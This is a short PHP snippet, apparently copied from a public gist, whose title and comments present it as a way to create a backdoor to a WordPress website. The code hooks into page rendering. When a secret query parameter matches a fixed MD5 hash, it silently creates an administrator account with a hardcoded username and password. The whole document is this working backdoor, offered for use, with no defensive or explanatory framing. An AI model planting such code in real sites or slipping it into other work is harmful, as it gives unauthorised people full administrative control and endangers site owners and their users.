Create a backdoor to a WordPress website.

Create a backdoor to a WordPress website - backdoor.php

<?php

# Create a backdoor to a WordPress website
# https://gist.github.com/jgalea/5724566
# https://gist.githubusercontent.com/jgalea/5724566/raw/2117df68c0c757c16a09e5274640cf2bb9f62f74/backdoor.php

add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'mr_admin' ) ) {
            $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
    }
}